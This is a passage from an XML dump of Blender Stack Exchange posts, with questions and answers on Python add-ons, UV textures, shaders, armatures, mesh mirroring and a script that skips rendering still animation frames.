menu_key = bpy.props.StringProperty(&#xA;        name='custom menu key',&#xA;        default='list 0',&#xA;        options={'HIDDEN'})&#xA;&#xA;    some_selection = EnumProperty(&#xA;        name='custom menu result',&#xA;        items=get_menu_items,&#xA;        description='choose menu item')&#xA;&#xA;&#xA;class CallbackChangeList(Operator):&#xA;&#xA;    bl_idname = &quot;scene.callback_change_enum&quot;&#xA;    bl_label = &quot;Load new list items&quot;&#xA;&#xA;    def execute(self, context):&#xA;        key = random.choice(list(own_name_space.keys()))&#xA;        context.scene.menu_tool.menu_key = key&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class LayoutDemoPanel(Panel):&#xA;    bl_label = &quot;Layout Demo&quot;&#xA;    bl_idname = &quot;SCENE_PT_layout&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column()&#xA;        col.label(text=&quot; Simple Row:&quot;)&#xA;        col.prop(context.scene.menu_tool, 'some_selection', text='')&#xA;        col.operator('scene.callback_change_enum')&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.menu_tool = PointerProperty(type=CustomMenuProps)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.menu_tool&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-26T09:12:44.523" LastActivityDate="2015-04-26T09:12:44.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28947" PostTypeId="1" CreationDate="2015-04-25T18:31:19.640" Score="1" ViewCount="853" Body="&lt;p&gt;So I made a 3d model from 21 pictures with 123dcatch, I removed the unnecessary parts with blender.&#xA;Then I merged the 2 4096x4096 texture with a python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I have a 8096x8096 file with half of the space being empty and certain part not being used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/USpnM.jpg&quot; alt=&quot;texture map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example I want to remove what I circled in red and move what I circled in blue at it's place.&#xA;I also want to crop the texture file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="6142" LastEditorUserId="2217" LastEditDate="2015-04-25T18:35:33.137" LastActivityDate="2015-04-25T18:35:33.137" Title="Removing unwanted part from texture file" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28949" PostTypeId="1" AcceptedAnswerId="28953" CreationDate="2015-04-25T18:44:04.213" Score="6" ViewCount="6607" Body="&lt;p&gt;I'm installing Blender 2.74 but there is a copy of Blender 2.73a on my computer. Does the installer uninstall Blender 2.73a?&lt;/p&gt;&#xA;" OwnerUserId="13985" LastActivityDate="2015-05-25T22:08:03.177" Title="If you install Blender while there is an existing copy, does it uninstall the existing copy?" Tags="&lt;installation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28951" PostTypeId="2" ParentId="28942" CreationDate="2015-04-25T20:33:12.497" Score="2" Body="&lt;p&gt;Usually a bump texture would be plugged into the &quot;height&quot; input of the &quot;bump&quot; node. For a normal map you'll use the &quot;normal map&quot; node. I believe this is considered the right way of using this textures. I don't know much about the &quot;Displacement&quot;socket of the &quot;material output&quot;. Just like with the &quot;bump&quot; node you use a black and white texture. I think it produces the same effect as the &quot;height&quot; of the &quot;bump&quot; node and it can also physically change the mesh as if a displacement modifier is used (maybe you have to subdivide the mesh), but I usually stay away from that socket and use a bump node.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-04-26T19:21:07.573" LastActivityDate="2015-04-26T19:21:07.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28952" PostTypeId="1" CreationDate="2015-04-25T20:57:11.523" Score="3" ViewCount="256" Body="&lt;p&gt;I'm just messing around with blender trying to learn how to use it. I'm on the texturing part of the model creation process, and I'm having issues I don't know how to deal with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I export the UV layout the lines are blurry. I assumed it was because of anti-aliasing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.chrispcr.com/wp-content/uploads/2015/04/blurry1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blurry Lines http://www.chrispcr.com/wp-content/uploads/2015/04/blurry1.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling the issue doesn't bring up much results. Maybe I'm wording it wrong?&#xA;I did find this:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/24275/exported-blender-uv-map-is-blurry&quot;&gt;Exported Blender UV Map is blurry&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and:&#xA;&lt;a href=&quot;http://dluat.com/exported-blender-uv-map-is-blurry/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dluat.com/exported-blender-uv-map-is-blurry/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the same question and answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing the dimensions to 4096x4096 gave the same issue but its effect on the image was a lot smaller. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;going the svg route gave roughly the same thing: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.chrispcr.com/wp-content/uploads/2015/04/svg-blurry.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;svg blurry http://www.chrispcr.com/wp-content/uploads/2015/04/svg-blurry.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's fine, I just need to know what pixel the UV editor stops at, and keep that in mind while I paint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll just throw in some markers to help:&#xA;&lt;a href=&quot;http://www.chrispcr.com/wp-content/uploads/2015/04/blender-UV-Editor.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender uv editor http://www.chrispcr.com/wp-content/uploads/2015/04/blender-UV-Editor.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, thats annoying, the editor doesn't even line up with image it created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Is there a work around that the pros use? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming it has something to do with moving the vertices, in the UV editor, to have them line up with the image, but wouldn't that mess with the bump, displace, reflection, etc... maps? (I guess not if they're all lined up.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, and thanks in advanced.  &lt;/p&gt;&#xA;" OwnerUserId="13987" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-04-25T20:57:11.523" Title="Exported UV map is blurry and doesn't line up with UV mapper(editor)" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28953" PostTypeId="2" ParentId="28949" CreationDate="2015-04-25T21:10:20.503" Score="5" Body="&lt;p&gt;Not in the conventional sense but yes, it will simply overwrite the common files in the directory and you will get a new executable, new scripts if any were added etc. Since there is a major version difference it will create a new config folder for 2.74 while keeping the 2.73 folder. &lt;em&gt;(I have a few old folders going back to 2.52!)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By uninstall you are asking if it will remove your settings, the answer is no. However, on installing the new version it will use the newly created 2.74 folder so it will appear as it did out of the box the first time you used it. To get your previous settings and scripts, you can simply press &lt;em&gt;Copy Previous Settings on the splash screen&lt;/em&gt;. If you want to keep the old version separate, change the install directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you don't need to uninstall the old version, if the folder is getting bulky delete the older version folders as you don't need them. Same goes if you use the zipped portable version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my similar answer here &lt;a href=&quot;https://blender.stackexchange.com/q/23338/12&quot;&gt;Where is the startup file stored?&lt;/a&gt; for a bit more info.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-04-25T21:10:20.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28954" PostTypeId="1" CreationDate="2015-04-25T21:46:47.587" Score="3" ViewCount="226" Body="&lt;p&gt;How to set up a shader in bgl ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats what I've so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shaderVert = 0&#xA;shaderFrag = 0&#xA;&#xA;shaderProgramVert = 0&#xA;shaderProgramFrag = 0&#xA;&#xA;def __init__(self):&#xA;&#xA;    if(self.__class__.shaderVert == 0 or self.__class__.shaderFrag == 0):&#xA;        bgl.glShaderSource(self.__class__.shaderVert, shaderVertString)&#xA;        bgl.glShaderSource(self.__class__.shaderFrag, shaderFragString)&#xA;&#xA;        bgl.glCompileShader(self.__class__.shaderVert)&#xA;        bgl.glCompileShader(self.__class__.shaderFrag)&#xA;&#xA;        self.__class__.shaderProgramVert = bgl.glCreateShader(bgl.GL_VERTEX_SHADER)&#xA;        self.__class__.shaderProgramFrag = bgl.glCreateShader(bgl.GL_FRAGMENT_SHADER)&#xA;&#xA;        bgl.glAttachShader(self.__class__.shaderProgramVert, self.__class__.shaderVert)&#xA;        bgl.glAttachShader(self.__class__.shaderProgramFrag, self.__class__.shaderFrag)&#xA;&#xA;        bgl.glLinkProgram(self.__class__.shaderProgramVert)&#xA;        bgl.glLinkProgram(self.__class__.shaderProgramFrag)&#xA;&#xA;        print(&quot;Shader sucessfully compiled and linked&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;#&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bgl.glUseProgram(self.__class__.shaderProgramVert)&#xA;    bgl.glUseProgram(self.__class__.shaderProgramFrag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I set Uniforms in bgl ?&#xA;Didn't found anything...&lt;/p&gt;&#xA;" OwnerUserId="13789" LastActivityDate="2015-04-25T21:46:47.587" Title="Setting Shader via BGL" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28955" PostTypeId="2" ParentId="24152" CreationDate="2015-04-25T22:08:26.617" Score="1" Body="&lt;h3&gt;This answer is now outdated as Renderman is now free and a plugin is available&lt;/h3&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This feature &lt;a href=&quot;http://blendertorenderman.blogspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;used to be supported&lt;/strong&gt;&lt;/a&gt;, however it now appears to have been discontinued due to a lack of interest of the Blender community. Now that Renderman is free, the developer might re-launch the addon if contacted and enough interest is shown, or another person could do somehting similar, and quite possibly have better success due to the growing interest. However, as of now, this capability is not supported.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-16T16:49:35.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28956" PostTypeId="1" CreationDate="2015-04-25T22:09:31.833" Score="1" ViewCount="47" Body="&lt;p&gt;I have an object which is in a good position but when I delete the skeleton the object goes back to its original form.  I am not trying to animate the object or anything I just want if in the current form.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13622" LastActivityDate="2015-04-25T22:09:31.833" Title="How do I keep the objects form created by a skeleton when deleting the skeleton" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28958" PostTypeId="2" ParentId="28618" CreationDate="2015-04-25T23:35:23.373" Score="4" Body="&lt;p&gt;This actually isn't to hard to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are zoomed in (very far) when looking in the camera view. if you zoom out, &lt;kbd&gt;Middle Mouse ↕ &lt;/kbd&gt; you will see the proper bounds for the active camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r4wVQ.gif&quot; alt=&quot;enter image description here&quot; title=&quot;Yes, that is my default scene, opens in the BGE with GLSL shading&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-04-25T23:35:23.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28960" PostTypeId="2" ParentId="15649" CreationDate="2015-04-26T00:05:51.300" Score="15" Body="&lt;p&gt;I had the same problem, solved it with a bit of code. This script renders your animation frame for frame, skipping frames with no animation and adding them to render destination as copies of their equivalents.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;This gives you the same result as a normal animation render, and saves you a lot of processing time&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;The script does the following:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Take each animated object and store its F-Curve values at each frame in the animation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create list of still frames, by comparing differences in neighbouring F-Curve values for each frame in each animated object.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render frames in desired range, skipping each still frame.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fill in skipped frames with copies of their equivalents.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  import bpy&#xA;  import subprocess&#xA;&#xA;  def render_with_skips(start, stop):&#xA;      &amp;quot;&amp;quot;&amp;quot;&#xA;      Take start and stop, and render animation only for animated&#xA;      frames. Still frames, are substituted into the output folder&#xA;      as copies of their equivalents.&#xA;      &amp;quot;&amp;quot;&amp;quot;&#xA;&#xA;      render_range = list(range(start, stop))&#xA;&#xA;      # create JSON like dictionary to store each&#xA;      # animated object's fcurve data at each frame.&#xA;      all_obj_fcurves = {}&#xA;      for obj in bpy.data.objects:    &#xA;          obj_fcurves = {}&#xA;&#xA;          try:&#xA;              obj.animation_data.action.fcurves&#xA;          except AttributeError:&#xA;              print(&amp;quot;--|'%s' is not animated&amp;quot; % obj.name)&#xA;              continue&#xA;&#xA;          print(&amp;quot;\n--&amp;gt; '%s' is animated at frames:&amp;quot; % obj.name)&#xA;&#xA;          for fr in list(range(start,stop+1)):&#xA;              fc_evals = [c.evaluate(fr) for c in obj.animation_data.action.fcurves]&#xA;              obj_fcurves.update({int(fr): fc_evals})&#xA;              print(fr, end=&amp;quot;, &amp;quot;)&#xA;          print()&#xA;&#xA;          all_obj_fcurves.update({obj.name: obj_fcurves})&#xA;&#xA;&#xA;      # loop through each animated object and find its&#xA;      # animated frames. then remove those frames from&#xA;      # a set containing all frames, to get still frames.&#xA;      still_frames = set(render_range)&#xA;      for obj in all_obj_fcurves.keys():&#xA;          obj_animated_frames = []&#xA;          for i, fr in enumerate(sorted(all_obj_fcurves[obj].keys())):&#xA;              if i != 0:&#xA;                  if all_obj_fcurves[obj][fr] != all_obj_fcurves[obj][fr_prev]:&#xA;                      obj_animated_frames.append(fr)&#xA;              fr_prev = fr&#xA;&#xA;          still_frames = still_frames - set(obj_animated_frames)&#xA;&#xA;      print(&amp;quot;\nFound %d still frames&amp;quot; % len(still_frames))&#xA;      print(sorted(still_frames), end=&amp;quot;\n\n&amp;quot;)&#xA;&#xA;&#xA;      # render animation, skipping the still frames and&#xA;      # filling them in as copies of their equivalents&#xA;      filepath = bpy.context.scene.render.filepath&#xA;&#xA;      for fr in render_range:&#xA;          if fr not in still_frames or fr == render_range[0]:&#xA;              bpy.context.scene.frame_set(fr)&#xA;              bpy.context.scene.render.filepath = filepath + '%04d' % fr&#xA;              bpy.ops.render.render(write_still=True)&#xA;          else:&#xA;              scene = bpy.context.scene&#xA;              abs_filepath = scene.render.frame_path(scene.frame_current)&#xA;              abs_path = '/'.join(abs_filepath.split('/')[:-1]) + '/'&#xA;              print(&amp;quot;Frame %d is still, copying from equivalent&amp;quot; % fr)&#xA;              subprocess.call(['cp', abs_path + '%04d.png' % (fr-1), abs_path + '%04d.png' % fr])&#xA;&#xA;      bpy.context.scene.render.filepath = filepath&#xA;&#xA;  start = bpy.data.scenes['Scene'].frame_start&#xA;  end = bpy.data.scenes['Scene'].frame_end&#xA;  render_with_skips(start,end)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I should stress that this will only work if you do not have anything else moving around at the times when everything else in your camera view is still.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&#xA;At this moment the code is only Linux/OSX compatible because it uses a subprocess to copy frames which is not Windows compatible. &lt;a href=&quot;https://blender.stackexchange.com/a/63241&quot;&gt;MarcHorstmanns's answer&lt;/a&gt; below implements my code so it works with Windows.&lt;/p&gt;&#xA;" OwnerUserId="13958" LastEditorUserId="13958" LastEditDate="2020-07-02T11:10:11.210" LastActivityDate="2020-07-02T11:10:11.210" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="28961" PostTypeId="1" CreationDate="2015-04-26T00:51:50.437" Score="3" ViewCount="43" Body="&lt;p&gt;I honestly don't think there is a way to do this, but I am curious. Is there anyway within the collision physics to allow one specific axis to be animated while the other 2 are not animated and dynamic? What I mean is, say I wanted to animate an object to move on a specific path on the X-Axis, but I still want the Y and the Z axis to change according to the physics simulations. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-04-26T01:34:52.107" Title="Disable collision dynamics from a spacific axis?" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-04-26T05:41:16.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="28963" PostTypeId="1" AcceptedAnswerId="29086" CreationDate="2015-04-26T01:40:34.783" Score="8" ViewCount="3517" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4HEDD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been modeling for quite some time but I’ve never bothered to ask this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to subdivide a cylinder cap? I've been going across vertex to vertex (right example), but I’ve seen a great many models and more experienced modelers triangulate along the perimeter (left example). What are the benefits of triangulating the edges as opposed to cutting it across, triangulating to a center vertex or just leaving an N-Gon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose once the object is triangulated (in a game engine like Unity or Unreal), the way I’ve been doing it would lead to one extra polygon on the cap end. Is this the reason the crossing rectangles approach isn't used as much?&lt;/p&gt;&#xA;" OwnerUserId="13400" LastEditorUserId="6385" LastEditDate="2016-12-20T04:04:40.693" LastActivityDate="2016-12-20T04:06:23.847" Title="What are the benefits of the different cylinder caps?" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28965" PostTypeId="1" AcceptedAnswerId="28967" CreationDate="2015-04-26T06:17:17.953" Score="4" ViewCount="155" Body="&lt;p&gt;No matter what I type into the console, or execute from the text buffer, blender shows an error but continues on as usual. However, I recently noticed that many exceptions (involving bgl callbacks) make blender crash &lt;strong&gt;if they happen inside the modal operator&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;" OwnerUserId="11312" LastEditorUserId="11312" LastEditDate="2015-04-26T18:35:18.563" LastActivityDate="2015-04-26T18:35:18.563" Title="Why do (bgl) exceptions in modal crash blender" Tags="&lt;python&gt;&lt;add-on&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28966" PostTypeId="1" CreationDate="2015-04-26T07:24:25.547" Score="4" ViewCount="3802" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_8/bpy.utils.html#bpy.utils.register_class&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; on &lt;code&gt;bpy.utils.register_class&lt;/code&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the class has a register class method it will be called before registration.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How should this method be declared? What arguments will it be given?&lt;/p&gt;&#xA;" OwnerUserId="11312" LastActivityDate="2015-04-26T09:38:48.063" Title="The &quot;register&quot; class function (how to declare)" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28967" PostTypeId="2" ParentId="28965" CreationDate="2015-04-26T07:34:18.557" Score="6" Body="&lt;h3&gt;bgl callbacks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The modal part of your operator needs to return something each time it's called, in the case of an exception that is probably &lt;code&gt;return {'CANCELLED'}&lt;/code&gt;. Most exceptions are not fatal, but exceptions in &lt;em&gt;bgl callbacks&lt;/em&gt; can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One crash is one too many, you might have to stick in a &lt;a href=&quot;https://docs.python.org/3.4/library/traceback.html&quot; rel=&quot;nofollow&quot;&gt;try/except (with traceback)&lt;/a&gt;, at least until you find the cause of the exception in the bgl callback and find a way to prevent it, you also need to correct the GL state before the callback function ends. Else expect undefined behaviour.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-26T08:58:02.900" LastActivityDate="2015-04-26T08:58:02.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28968" PostTypeId="2" ParentId="28647" CreationDate="2015-04-26T07:37:49.570" Score="1" Body="&lt;p&gt;I had no success with baking, but could achieve the desired effect by rendering the image.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the materials alpha channel to initial transparency&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vvt4e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;Materials properties&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane with an alpha gradient as texxture behing the scene&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Gimp create an image with the required dimensions&lt;/li&gt;&#xA;&lt;li&gt;From the layer context menu select  &lt;em&gt;Add Layer Mask&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/rbg4s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use the Blend Tool to create tha gradient&lt;/li&gt;&#xA;&lt;li&gt;&lt;img src=&quot;https://i.stack.imgur.com/J17t9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Export to .PNG&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set camera to orthographic&#xA;&lt;img src=&quot;https://i.stack.imgur.com/teajU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Render and save the image.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-04-26T07:37:49.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28969" PostTypeId="1" AcceptedAnswerId="28970" CreationDate="2015-04-26T08:31:01.663" Score="2" ViewCount="368" Body="&lt;p&gt;For example, I have a human head model, which is cut in half, because i want to mirror it. But the problem here is that some faces are over the Y axis and some do not touch the axis. When I then try to mirror this shows up, where let's say some points don't touch and other ones, where faces are over the axis just collide. Is there a possibility to align the &quot;edge&quot; faces to a certain axis, so the mirroring becomes perfect?&lt;/p&gt;&#xA;" OwnerUserId="13995" LastEditorUserId="3710" LastEditDate="2015-04-27T11:39:51.117" LastActivityDate="2015-04-27T11:39:51.117" Title="How to mirror head geometry?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-04-27T11:57:13.000" ContentLicense="CC BY-SA 3.0" />
  <row Id="28970" PostTypeId="2" ParentId="28969" CreationDate="2015-04-26T08:40:29.090" Score="5" Body="&lt;p&gt;In the mirror modifier check merge and clipping : this will automatically aline and merge the vertices&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/19CqE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;change the merge limit if there is some gaps&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;you can also select these vertices and hit &lt;kbd&gt;S&lt;/kbd&gt;+&lt;kbd&gt;x&lt;/kbd&gt; then &lt;kbd&gt;0&lt;/kbd&gt; so they aline on the Y axis&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-26T08:40:29.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28971" PostTypeId="1" AcceptedAnswerId="28975" CreationDate="2015-04-26T09:32:01.613" Score="2" ViewCount="5153" Body="&lt;p&gt;I can't understand, how to connect mesh vertex groups to bones and I'm beginner in blender. In first step I've created a new one file (&lt;a href=&quot;https://drive.google.com/file/d/0B1Fl0c3AhVDZMFBDNXI4TmV5eGc/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;download&lt;/a&gt;) with Cylinder and added two connected bones. After that, I've added Armature object as Modifier to the Cylinder mesh.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z4Eoc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I've created vertex group named g1 in Cylinder mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1s6mV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And painted in Weight mode:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Nh1Xn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't understand, how to assign connect this 'g1' vertex group to the bone named 'Bone.001'. After that manipulations, when I'am trying to rotate bone 'Bone.001' in Pose Mode, no mesh deformation applied.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/swXfD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;How can I &quot;glue&quot; end of the 'Bone.001' to the 'g1' vertex group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13996" LastActivityDate="2015-04-26T10:10:45.637" Title="How to connect mesh vertex groups with bones?" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;vertex-groups&gt;&lt;blend-modes&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28972" PostTypeId="2" ParentId="28966" CreationDate="2015-04-26T09:38:48.063" Score="6" Body="&lt;p&gt;A class method takes at least one argument - the class itself. Here, &lt;code&gt;register&lt;/code&gt; (and its counterpart, &lt;code&gt;unregsiter&lt;/code&gt;) do not take anything else, so you must declare them this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    @classmethod&#xA;    def register(cls):&#xA;        pass&#xA;&#xA;    @classmethod&#xA;    def unregister(cls):&#xA;        pass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You have a good example of their usage in Cycles' &lt;code&gt;propertie.py&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CyclesRenderSettings(bpy.types.PropertyGroup):&#xA;    @classmethod&#xA;    def register(cls):&#xA;        bpy.types.Scene.cycles = PointerProperty(&#xA;                name=&quot;Cycles Render Settings&quot;,&#xA;                description=&quot;Cycles render settings&quot;,&#xA;                type=cls,&#xA;                )&#xA;        cls.device = EnumProperty(&#xA;                name=&quot;Device&quot;,&#xA;                description=&quot;Device to use for rendering&quot;,&#xA;                items=enum_devices,&#xA;                default='CPU',&#xA;                )&#xA;        # ... and so on adding properties to cls&#xA;&#xA;    @classmethod&#xA;    def unregister(cls):&#xA;        del bpy.types.Scene.cycles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, you can embed the definition of your propertygroup and handle its container’s creation and deletion inside the class, instead of having to create/delete &lt;code&gt;bpy.types.Scene.cycles&lt;/code&gt; in the global (un)register funcs.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-04-26T09:38:48.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
